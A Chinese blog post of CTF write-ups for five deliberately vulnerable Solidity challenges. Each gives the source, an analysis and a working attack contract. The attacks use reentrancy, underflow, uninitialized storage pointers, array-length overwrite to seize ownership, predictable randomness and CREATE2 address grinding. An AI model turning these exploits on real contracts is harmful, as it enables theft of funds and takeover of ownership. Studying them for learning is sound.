抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Happy_DOuble_Eleven

1. question

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
pragma solidity ^0.4.23;

interface Tmall {
function Chop_hand(uint) view public returns (bool);
}

contract Happy_DOuble_Eleven {

address public owner;
bool public have_money;
bytes32[] public codex;

bool public have_chopped;
uint public hand;

mapping (address => uint) public balanceOf;
mapping (address => uint) public mycart;
mapping (address => uint) public level;

event pikapika_SendFlag(string b64email);

constructor() public {
owner = msg.sender;
}

function payforflag(string b64email) onlyOwner public {
require(uint(msg.sender) & 0xfff == 0x111);
require(level[msg.sender] == 3);
require(mycart[msg.sender] > 10000000000000000000);
balanceOf[msg.sender] = 0;
level[msg.sender] = 0;
have_chopped = false;
have_money = false;
codex.length = 0;
emit pikapika_SendFlag(b64email);
}

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

modifier first() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}

function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(_value > 0);

uint256 oldFromBalance = balanceOf[_from];
uint256 oldToBalance = balanceOf[_to];

uint256 newFromBalance = balanceOf[_from] - _value;
uint256 newToBalance = balanceOf[_to] + _value;

require(oldFromBalance >= _value);
require(newToBalance > oldToBalance);

balanceOf[_from] = newFromBalance;
balanceOf[_to] = newToBalance;

assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
}

function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}

function Deposit() public payable {
if(msg.value >= 500 ether){
mycart[msg.sender] += 1;
}
}

function gift() first {
require(mycart[msg.sender] == 0);
require(uint(msg.sender) & 0xfff == 0x111);
balanceOf[msg.sender] = 100;
mycart[msg.sender] += 1;
level[msg.sender] += 1;
}


function Chopping(uint _hand) public {
Tmall tmall = Tmall(msg.sender);

if (!tmall.Chop_hand(_hand)) {
hand = _hand;
have_chopped = tmall.Chop_hand(hand);
}
}
function guess(uint num) public {
uint seed = uint(blockhash(block.number - 1));
uint rand = seed % 3;
if (rand == num) {
have_money = true;
}
}

function buy() public {
require(level[msg.sender] == 1);
require(mycart[msg.sender] == 1);
require(have_chopped == true);
require(have_money == true);
mycart[msg.sender] += 1;
level[msg.sender] += 1;
}


function retract() public {
require(codex.length == 0);
require(mycart[msg.sender] == 2);
require(level[msg.sender] == 2);
require(have_money == true);
codex.length -= 1;
}

function revise(uint i, bytes32 _person) public {
require(codex.length >= 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000);
require(mycart[msg.sender] == 2);
require(level[msg.sender] == 2);
require(have_money == true);
codex[i] = _person;
if (codex.length < 0xffffffffff000000000000000000000000000000000000000000000000000000){
codex.length = 0;
revert();
}
else{
level[msg.sender] += 1;
}
}

function withdraw(uint _amount) onlyOwner public {
require(mycart[msg.sender] == 2);
require(level[msg.sender] == 3);
require(_amount >= 100);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
balanceOf[msg.sender] -= _amount;
msg.sender.call.value(_amount)();
mycart[msg.sender] -= 1;
}
}

📌 成功调用payforflag()

2. analysis

这道题富含的知识点比较多,涉及了:重入,溢出,create2,构造器调用者代码大小为0,动态数组的覆盖和溢出,构造伪随机数,自己给自己转钱余额翻倍涨,蛮有意思。

分析:

  • gift() first:在构造器中调用,满足 codesize==0,且使得 mycart[msg.sender] == 1, level[msg.sender] == 1
  • Chopping():攻击者可以自定义Chop_hand函数,令其满足第一次调用为false第二次调用为true即可,函数调用完成之后have_chopped=true
  • guess():制造伪随机数,函数调用完成之后have_money=true
  • buy():调用该函数,使得mycart[msg.sender] == 2, level[msg.sender] == 2
  • retract():调用该函数,使得codex.length发生下溢,为接下来的owner值覆盖做铺垫
  • revise():计算出数组的长度,使其+1发生上溢,覆盖掉owner,令其成为hacker
  • withdraw:不难看出,此时的mycart[msg.sender] == 2,除了主动调用withdraw函数之外,还需要进行两次重入使其发生溢出,但是balance的变量更新在转账之前,所以需要有三倍的转账资金,不难看出,_transfer有大问题,之前在重入篇已经分析过了,就不细说了

综上便有了攻击合约

3. solve

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Tmall {
function Chop_hand(uint) external returns (bool);
}

interface IHappy_DOuble_Eleven{

function gift() external;
function guess(uint num) external;
function Chopping(uint _hand) external;
function buy() external;
function retract() external;
function revise(uint i, bytes32 _person) external;
function balanceOf(address user) external returns (uint);
function transfer(address _to, uint256 _value) external returns (bool success);
function withdraw(uint _amount) external;
function payforflag(string memory b64email) external;

}

contract Happy_DOuble_ElevenHacker is Tmall {

IHappy_DOuble_Eleven eleven;
uint counter;
uint fallback_counter;

constructor(address _eleven) {

eleven = IHappy_DOuble_Eleven(_eleven);

// 1. mycart[msg.sender] == 1, level[msg.sender] == 1, balanceOf[msg.sender] == 100
eleven.gift(); // create2
}

function pwn() external {

// 2. call guess() => have_money == true
eleven.guess(uint(blockhash(block.number - 1)) % 3);

// 3. call Chopping => have_chopped == true
eleven.Chopping(0);

// 4. call buy() => mycart[msg.sender] == 2, level[msg.sender] == 2
eleven.buy();

// 5. call retract() => codex.length == type(uint256).max
eleven.retract();

// 6. call revise() => become owner, level[msg.sender] == 3
uint index_code_0 = uint(keccak256(abi.encodePacked(uint(1)))); // code[0]'s location
uint index_owner = type(uint).max - index_code_0 + 1; // owner's location = total - index_code_0 + 1 => slot0
eleven.revise(index_owner, bytes32(uint(uint160(address(this))))); // hacker become owner

// 7. call transfer() for 2 times => balanceOf[msg.sender] = 400
for (uint i; i < 2; i++) {
eleven.transfer(address(this), eleven.balanceOf(address(this)));
}

// 8. make overflow => mycart[msg.sender] > 10000000000000000000
eleven.withdraw(100);

// 9. capture the flag
eleven.payforflag("BYYQ1030");

}

function Chop_hand(uint) external returns (bool) {

if (counter == 0) {
counter++;
return false;
}
return true;
}

fallback() external payable {
if (fallback_counter < 3) {
fallback_counter++;
eleven.withdraw(100);
}
}
}

contract Happy_DOuble_ElevenDeployer {

function deploy(uint _salt, address challenge) external returns (address hacker) {

bytes32 salt = keccak256(abi.encodePacked(_salt));
bytes memory bytecode = abi.encodePacked(type(Happy_DOuble_ElevenHacker).creationCode, abi.encode(challenge));

assembly {
hacker := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
}

function sendMoney(address payable to) external payable {
selfdestruct(to);
}

}

cow

1. question

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
pragma solidity ^0.4.2;
contract cow{
address public owner_1;
address public owner_2;
address public owner_3;
address public owner;
mapping(address => uint) public balance;

struct hacker {
address hackeraddress1;
address hackeraddress2;
}
hacker h;

constructor()public{
owner = msg.sender;
owner_1 = msg.sender;
owner_2 = msg.sender;
owner_3 = msg.sender;
}

event SendFlag(string b64email);


function payforflag(string b64email) public
{
require(msg.sender==owner_1);
require(msg.sender==owner_2);
require(msg.sender==owner_3);
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}

function Cow() public payable
{
uint geteth=msg.value/1000000000000000000;
if (geteth==1)
{
owner_1=msg.sender;
}
}

function cov() public payable
{
uint geteth=msg.value/1000000000000000000;
if (geteth<1)
{
hacker fff=h;
fff.hackeraddress1=msg.sender;
}
else
{
fff.hackeraddress2=msg.sender;
}
}

function see() public payable
{
uint geteth=msg.value/1000000000000000000;
balance[msg.sender]+=geteth;
if (uint(msg.sender) & 0xffff == 0x525b)
{
balance[msg.sender] -= 0xb1b1;
}
}

function buy_own() public
{
require(balance[msg.sender]>1000000);
balance[msg.sender]=0;
owner_3=msg.sender;
}

}

📌 成功调用payforflag()

2. analysis

做法:逐步占领各个owner

  • Cow():成为owner_1
  • cov():成为owner_2,不能走if语句,因为无法覆盖到slot0的位置,前面有类似的题,只有在函数体中声明storage类型的结构体才会进行覆盖,如果在函数体外声明,EVM则会事先给结构体开辟空间。
  • buy_own():成为owner_3,但是需要先通过see()使balance[msg.sender]发生下溢

3. solve

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.8.0;

interface Icow {
function Cow() external payable;
function cov() external payable;
function see() external payable;
function buy_own() external;
function payforflag(string memory b64email) external;
}

contract CowHacker {

Icow cow;

function attack(address _cow) public payable {
require(msg.value == 3 ether, "msg.value less than 3 ether");
cow = Icow(_cow);
cow.Cow{value : 1 ether}(); // 成为owner_1
cow.cov{value : 1 ether}(); // 成为owner_2
cow.see{value : 1 ether}(); // balance[msg.sender] 发生溢出
cow.buy_own(); // 成为owner_3
cow.payforflag("hacker");
}

receive() external payable{}
}

contract Deployer {

function deploy(uint _salt) public returns(address){
bytes memory bytecode = type(CowHacker).creationCode;
bytes32 salt = keccak256(abi.encodePacked(_salt));
address addr;
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
return addr;
}
}

image-20230826174502035

rise

1. question

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
pragma solidity ^0.4.2;
contract rise {
address referee;
uint secret;
uint bl;
mapping(address => uint) public balance;
mapping(address => uint) public gift;
address owner;

struct hacker {
address hackeraddress;
uint value;
}

constructor()public{
owner = msg.sender;
referee = msg.sender;
balance[msg.sender]=10000000;
bl=1;
secret=18487187377722;
}
event SendFlag(string b64email);

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

modifier onlyRefer(){
require(msg.sender == referee);
_;
}

function payforflag(string b64email) public
{
require(balance[msg.sender]>1000000);
balance[msg.sender]=0;
bl=1;
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}

function airdrop() public
{
require(gift[msg.sender]==0);
gift[msg.sender]==1;
balance[msg.sender]+=1;
}

function deposit() public payable
{
uint geteth=msg.value/1000000000000000000;
balance[msg.sender]+=geteth;
}

function set_secret(uint target_secret) public onlyOwner
{
secret=target_secret;
}

function set_bl(uint target_bl) public onlyRefer
{
bl=target_bl;
}

function risegame(uint guessnumber) public payable
{
require(balance[msg.sender]>0);
uint geteth=msg.value/1000000000000000000;
if (guessnumber==secret)
{
balance[msg.sender]+=geteth*bl;
bl=1;
}
else
{
balance[msg.sender]=0;
bl=1;
}
}

function transferto(address to) public
{
require(balance[msg.sender]>0);
if (to !=0)
{
balance[to]=balance[msg.sender];
balance[msg.sender]=0;
}
else
{
hacker storage h;
h.hackeraddress=msg.sender;
h.value=balance[msg.sender];
balance[msg.sender]=0;
}
}

}

📌 成功调用payforflag()

2. analysis

  • airdrop():空投函数,使balance[msg.sender] != 0
  • deposit():再次为了balance[msg.sender] != 0
  • transferto():成为referee,并将secret设置为1
  • set_bl:提高倍率
  • risegame:将balance升高

3. solve

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract Hacker {

rise rise_;

constructor(address _rise) public {
rise_ = rise(_rise);
}

function attack() public payable {
require(msg.value == 2 ether);
rise_.airdrop(); // 获取空投
rise_.transferto(address(0)); // 成为referee,设置密码为1
rise_.deposit.value(1 ether)(); // 使 balance[msg.sender] != 0
rise_.set_bl(1000001); // 使 b1的值变大
rise_.risegame.value(1 ether)(1); // 为了满足 1 * 1000001 > 1000000
rise_.payforflag("hacker");
}

function() external payable{}
}

image-20230826180812227

roiscoin

1. question

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
pragma solidity ^0.4.23;

contract FakeOwnerGame {
event SendFlag(address _addr);

uint randomNumber = 0;
uint time = now;
mapping (address => uint) public BalanceOf;
mapping (address => uint) public WinCount;
mapping (address => uint) public FailCount;
bytes32[] public codex;
address private owner;
uint256 settlementBlockNumber;
address guesser;
uint8 guess;

struct FailedLog {
uint failtag;
uint failtime;
uint success_count;
address origin;
uint fail_count;
bytes12 hash;
address msgsender;
}
mapping(address => FailedLog[]) FailedLogs;

constructor() {
owner = msg.sender;
}

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

function payforflag() onlyOwner {
require(BalanceOf[msg.sender] >= 2000);
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}

function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;

if (guess == answer) {
WinCount[msg.sender] += 1;
BalanceOf[msg.sender] += 1000;
} else {
FailCount[msg.sender] += 1;
}

if (WinCount[msg.sender] == 2) {
if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) {
guesser = 0;
WinCount[msg.sender] = 0;
FailCount[msg.sender] = 0;
msg.sender.transfer(address(this).balance);
} else {
FailedLog failedlog;
failedlog.failtag = 1;
failedlog.failtime = now;
failedlog.success_count = WinCount[msg.sender];
failedlog.origin = tx.origin;
failedlog.fail_count = FailCount[msg.sender];
failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));
failedlog.msgsender = msg.sender;
FailedLogs[msg.sender].push(failedlog);
}
}
}

function beOwner() payable {
require(address(this).balance > 0);
if(msg.value > address(this).balance){
owner = msg.sender;
}
}

function revise(uint idx, bytes32 tmp) {
if(uint(msg.sender) & 0x61 == 0x61 && tx.origin != msg.sender) {
codex[idx] = tmp;
}
}
}

📌 成功调用payforflag()

2. analysis

这道题很奈斯!

要求成为owner,并且BalanceOf[msg.sender] >= 2000

分析

  • lockInGuess():锁定guess,并成为猜题人(为了成功调用settle
  • settle():能够进行一些变量的覆盖,尤其重要的是数组codex的长度,为了能进行变量覆盖,必须进入到如下的else语句中
1
2
3
4
5
6
if (WinCount[msg.sender] == 2) {
if (){
...
} else {
// 这里别有一番天地
}
  • 所以这便要求了猜题的次数分配如:必须猜对两次,且猜错的次数大于等于1

当属最难便是对于数组长度的覆盖😭😭😭

1
2
3
4
5
6
7
8
9
// 在FailedLog 结构体中,这两个值占用的空间刚好为 32bytes
bytes12 hash;
address msgsender;

// 这两个值进行插槽覆盖的时候,便是对数组 codex 的长度进行覆盖,
// 而且这很有意思,高20位为`msg.sender`,低12bytes位为`bytes12(...)`
// 我的理解是先正常将bytes12(...)放进slot中,后发现address类型仍可以在该slot中存储,便将前20bytes位用于存放msg.sender
failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));
failedlog.msgsender = msg.sender;

通过计算可知,从codex[0]到存储owner变量的”距离”为 owner_index

  • codex_length = 114245411204874937970903528273105092893277201882823832116766311725579567940175
1
2
3
uint codex_0 = uint(keccak256(abi.encodePacked(uint(5)))); // codex[0]所在位置
uint codex_length = type(uint256).max - codex_0; // codex数组到EVM存储空间末尾的距离
uint owner_index = codex_length + 7; // 变量owner相对于数组的位置

通过实践可以发现,只要msg.sender是以ff或fe开头的地址,那么他们拼凑出来的值便会大于codex_length

最后,最离谱的是,里面有个骗子函数beOwner() 这就是个无底洞,永远也无法从该函数成为owner,不信你来试试看。

3. solve

计算脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import { ethers } from "ethers"

const const_num = "0xFF";

const contract_add = ""; // depolyer'address

let str1 = const_num + contract_add.slice(2,contract_add.length);

const bytecode = ""; // hacker'bytecode

const bytecodeToHash = ethers.utils.solidityKeccak256(['bytes'],[bytecode]);

let salt = 0;

while (true) {
let saltToHash = ethers.utils.solidityKeccak256(['uint'],[salt]);
saltToHash = saltToHash.slice(2, saltToHash.length)

let str2 = str1.concat(saltToHash).concat(bytecodeToHash.slice(2,bytecodeToHash.length));

let hash = ethers.utils.solidityKeccak256(['bytes'] ,[str2]);

if ((hash.slice(26, 28) == "ff" || hash.slice(26, 28) == "fe" )
&& hash.slice(hash.length - 2, hash.length) == "61") {
console.log(`salt = ${salt}`);
console.log(`address = 0x${hash.slice(26, hash.length)}`);
break;
}
salt++;
}

攻击合约

攻击逻辑:先通过脚本计算出来的盐部署出hacker合约的实例,①调用hacker的attack1()函数,并支付1 ethter;②一直调用attack2()函数(可能会出现调用失败的情况但是不影响,只要一直调用便会正常),直到wintimes == 2,failtimes >= 1为止;③调用attack3()函数,即完成攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
pragma solidity ^0.8.0;

interface IFakeOwnerGame{
function lockInGuess(uint8 n) external payable;
function settle() external;
function payforflag() external;
function revise(uint idx, bytes32 tmp) external;
}

contract FakeOwnerGameHack{

IFakeOwnerGame game;
address owner;
uint public wintimes;
uint public failtimes;

constructor() {
owner = msg.sender;
}

function attack1(address _game) public payable {
require(msg.value == 1 ether, "msg.value != 1 ether");
game = IFakeOwnerGame(_game);
game.lockInGuess{value:1 ether}(1);
}

// 多次调用该函数,直到 wintimes == 2,且failtimes不为0
function attack2() external {
uint8 answer = uint8(uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))) % 2;
if (answer == 1) {
if (wintimes == 2)
return;
game.settle();
game.settle();
wintimes += 2;
} else {
game.settle();
failtimes++;
}

if (wintimes == 2) {
require(failtimes != 0, "failtimes is zero,try again...");
}
}


function attack3() public {

// beOwner()函数简直就是赤裸裸的诈骗啊!!!
// game.beOwner{value: msg.value}();

uint codex_0 = uint(keccak256(abi.encodePacked(uint(5)))); // codex[0]所在位置
uint codex_length = type(uint256).max - codex_0; // codex数组到EVM存储空间末尾的距离
uint owner_index = codex_length + 7; // 变量owner相对于数组的位置
game.revise(owner_index, bytes32(uint(uint160(address(this))))); // 成为owner

// 夺旗
game.payforflag();
}

receive() external payable {
// 用于将钱转回 EOA 可加可不加
//(bool success, ) = owner.call{value:address(msg.sender).balance}("");
}
}

contract Deployer {

function deploy(uint _salt) public returns(address){
bytes memory bytecode = type(FakeOwnerGameHack).creationCode;
bytes32 salt = keccak256(abi.encodePacked(_salt));
address addr;
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
return addr;
}
function pay(address payable to) public payable {
selfdestruct(to);
}
}

image-20230827163334658

Bank

1. question

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
pragma solidity ^0.4.24;

contract Bank {
event SendEther(address addr);
event SendFlag(address addr);

address public owner;
uint randomNumber = 0;

constructor() public {
owner = msg.sender;
}

struct SafeBox {
bool done;
function(uint, bytes12) internal callback;
bytes12 hash;
uint value;
}
SafeBox[] safeboxes;

struct FailedAttempt {
uint idx;
uint time;
bytes12 triedPass;
address origin;
}
mapping(address => FailedAttempt[]) failedLogs;

modifier onlyPass(uint idx, bytes12 pass) {
if (bytes12(sha3(pass)) != safeboxes[idx].hash) {
FailedAttempt info;
info.idx = idx;
info.time = now;
info.triedPass = pass;
info.origin = tx.origin;
failedLogs[msg.sender].push(info);
}
else {
_;
}
}

function deposit(bytes12 hash) payable public returns(uint) {
SafeBox box;
box.done = false;
box.hash = hash;
box.value = msg.value;
if (msg.sender == owner) {
box.callback = sendFlag;
}
else {
require(msg.value >= 1 ether);
box.value -= 0.01 ether;
box.callback = sendEther;
}
safeboxes.push(box);
return safeboxes.length-1;
}

function withdraw(uint idx, bytes12 pass) public payable {
SafeBox box = safeboxes[idx];
require(!box.done);
box.callback(idx, pass);
box.done = true;
}

function sendEther(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
msg.sender.transfer(safeboxes[idx].value);
emit SendEther(msg.sender);
}

function sendFlag(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
selfdestruct(owner);
}

}

📌 成功调用sendFlag(),也可以理解为触发SendFlag事件。

2. analysis

观察可发现在deposit函数和onlyPass装饰器中均存在未初始化存储指针漏洞。

结合布局来看,deposit函数中的box结构体可以改写ownerrandomNumber。如果能将owner改为attacker的地址,就可以将box的回调设置为sendFlag函数,从而调用,但仍然绕不过msg.value >= 100000000 ether的限制,因此不可行。

onlyPass中的FailedAttemp结构体还可改写safeboxes数组的长度。若改写长度为n,则withdraw函数执行回调时即可直接访问safeboxes[i] (i<n)。同时由于FailedAttempt中的triedPass这12个字节是可控的,因此只要找到safeboxes[i] -> FailedAttempt.treidPass,再设置好合适的treidPass数据,即可通过box[i]的回调直接跳转到触发SendFlag事件的代码继续执行。

通过反编译可以找到 emit SendFlag(msg.sender);的地址为:0x070F

image-20231004194856836

合约的slot存储布局如下:

1
2
3
4
5
6
7
8
9
-----------------------------------------------------
| unused (12) | owner (20) | <- slot 0
-----------------------------------------------------
| randomNumber (32) | <- slot 1
-----------------------------------------------------
| safeboxes.length (32) | <- slot 2
-----------------------------------------------------
| occupied by failedLogs but unused (32) | <- slot 3
-----------------------------------------------------

safebox存储布局如下:

1
2
3
4
5
-----------------------------------------------------
| unused (11) | hash (12) | callback (8) | done (1) |
-----------------------------------------------------
| value (32) |
-----------------------------------------------------

faillog存储布局如下:

1
2
3
4
5
6
7
-----------------------------------------------------
| idx (32) |
-----------------------------------------------------
| time (32) |
-----------------------------------------------------
| origin (20) | triedPass (12) |
-----------------------------------------------------

首先,要制造出进入onlyPass的条件入口,指通过deposit函数将callback设置成sendEther才可以。

引用大佬的分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
FailedLogs[0] = keccak256(0||3)
FailedLogs[msg.sender] = keccak256(msg.sender||3)
keccak256(msg.sender||3) = FailedAttempt.length

FailedAttempt[0] = keccak256(keccak256(msg.sender||3)) + 0*3
FailedAttempt[0].triedPass = keccak256(keccak256(msg.sender||3)) + 2

// 这是safebox的计算式
box[0] = keccak256(2)
box[i] = keccak256(2) + i*2

// 如何让box[i] 读取到 FailedAttempt[0].triedPass的值
box[i] -> FailedAttempt[0].triedPass
keccak256(2) + i*2 = keccak256(keccak256(msg.sender||3)) + 2
i = (keccak256(keccak256(msg.sender||3)) + 2 - keccak256(2)) / 2
i = (failedAttempAddr + 2 - boxAddr) / 2


分析:因为 SafeBox 结构体占两个 slot,所以 safeboxes[i] 的存储位置为:keccak(2) + i * 2 ;

同理FailedAttempt数组也是一样的,不过其占用的是三个slot,而FailedAttempt[0].triedPass的位置在keccak256(keccak256(msg.sender||3)) + 2,所以就有了idx的计算式如下:

1
2
3
keccak256(2) + i*2 = keccak256(keccak256(msg.sender||3)) + 2
i = (keccak256(keccak256(msg.sender||3)) + 2 - keccak256(2)) / 2
i = (failedAttempAddr + 2 - boxAddr) / 2

helper合约就是用于计算使用的。

这里还需要注意的是:i < boxLength,即i < msg.sender||triedPass,还要判断是否可以整除2,若不能整除则也不符合要求,box[i]会指向time字段。故对attacker的地址也有所限制。

至于为什么要整除2呢,我的理解是,首先在solidity中对小数采取舍弃的方法,那么,比如 在 slot1,slot2,slot3中,我要跳转到,slot2的位置,

3. solve

攻击合约

tx.origin=0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
contract BankHacker {

Bank bank;

constructor (address _bank) public {
bank = Bank(_bank);
}

function pwn() public payable {

require(msg.value >= 1 ether, "You must pay 1 ether");

// 1. make id[0].callback = sendEther to into onlyPass
bank.deposit.value(1 ether)(bytes12(uint96(0))); // parameter is arbitrary

// 2. cover the box[i]'s callback, pass: 000000000000070F00
bank.withdraw(0, 0x999999000000000000070F00);

// 3. calculate the idx
uint idx = (new BankHelper()).calIdx(address(this)); // the address is address(this)!!!!

// 4. capture the falg
bank.withdraw(idx, bytes12(uint96(0)));

}
}

contract BankHelper {

// 计算出 FailedAttempt[0]
function calFailedAttempt_0(address addr) public pure returns(uint) {
return uint(keccak256(keccak256(abi.encodePacked(bytes32(addr), bytes32(3)))));
}

// 计算出 safeboxes[0]
function calBox_0() public pure returns(uint) {
return uint(keccak256(uint(2)));
}

// 计算idx
function calIdx(address hacker) public returns (uint) {
return (calFailedAttempt_0(hacker) + 2 - calBox_0()) / 2;
}

// 确保length > idx
function compareLength(address hacker) public returns(bool) {
return bytes20(hacker) > bytes20(bytes32(calIdx(hacker)));
}

function isDivsibleBy2(address hacker) public returns(bool) {
return (calFailedAttempt_0(hacker) + 2 - calBox_0()) % 2 == 0;
}

function uintTobytes32(uint num) public returns(bytes32){
return bytes32(num);
}
}

image-20231004194210115

总结

前四道题还好,最后一道就很有挑战性了,知道了如何计算组合型的变量的存储位置,如mapping(address=>struct)类型的。也为我以后做题提供了新思路,就是回归到底层,通过操作EVM来达到目的。

评论



政策 · 统计 | 本站使用 Volantis 主题设计